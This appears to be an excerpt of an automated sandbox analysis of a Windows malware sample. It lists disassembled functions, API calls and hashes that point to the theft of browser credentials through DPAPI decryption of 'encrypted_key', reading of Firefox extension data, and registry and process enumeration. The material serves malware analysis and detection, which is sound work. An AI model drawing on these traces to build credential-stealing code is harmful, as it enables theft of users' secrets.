Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

DPAPI, xrefs: 00409DD9
"encrypted_key":", xrefs: 00409D80
, xrefs: 00409E11

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: c5d85001ada9da0948c4e6a5f2fc00b447c755276a666ca92b756a4a65e0b23d
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: c5d85001ada9da0948c4e6a5f2fc00b447c755276a666ca92b756a4a65e0b23d
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6CB4C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CB4C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CB4C969
GetSystemInfo.KERNEL32(?), ref: 6CB4C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CB4C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CB4C9E2

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: fd97a1c22084b36b855738aec6d47aec0eb0bfc196781df840794e0eeda6e61f
Instruction ID: c1b9a1ab4fadaa51039ee399f67ff83f7dcc53471292bf767cf5d7bebe68f34f
Opcode Fuzzy Hash: fd97a1c22084b36b855738aec6d47aec0eb0bfc196781df840794e0eeda6e61f
Instruction Fuzzy Hash: F3214935705218BBDB01AA78CCD4BAE73B9FB46B00F60442AF943A7A40DF709C048795

Function 004178A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,024E9270,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,0250ACE8,00000000,00000000,000000FF,000000FF), ref: 0041791F
RegCloseKey.ADVAPI32(?), ref: 00417932

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02506D08), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,02506D18), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,02506CE8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: b56a38c1a86f14c078ddccb29e1b24db0119f1c02980400aedfc514347e3491c
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: b56a38c1a86f14c078ddccb29e1b24db0119f1c02980400aedfc514347e3491c
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02506D08), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,02506D18), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,02506CE8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: ee895e584097aec2a6515aa658e799b262a169dafd9e9c2cc9f00a3ca233f608
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: ee895e584097aec2a6515aa658e799b262a169dafd9e9c2cc9f00a3ca233f608
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02506BD8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(024EA0E8,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024E4A20,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(02506BD8,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: a6ed7959de25b79cdb3bb5cb1e9ff1b97d18116cea63182b13b5717ab70b1157
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: a6ed7959de25b79cdb3bb5cb1e9ff1b97d18116cea63182b13b5717ab70b1157
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,024E7FC0,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: b68d428d358eb233707b55884b84f0156d73bcf5e8a67310085237626846fe48
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: b68d428d358eb233707b55884b84f0156d73bcf5e8a67310085237626846fe48
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,024E7FC0,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a6d085273746bd85741f5d767bc7a44b418890b6fcff0096d709ee887cb72c2d
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: a6d085273746bd85741f5d767bc7a44b418890b6fcff0096d709ee887cb72c2d
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

moz-extension+++, xrefs: 0040F3ED
^userContextId=4294967295, xrefs: 0040F3DC

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 85423c3c242042876a530643f9dd54465e4553440514c6f4521d5ac1c91b2fd3
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 85423c3c242042876a530643f9dd54465e4553440514c6f4521d5ac1c91b2fd3
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

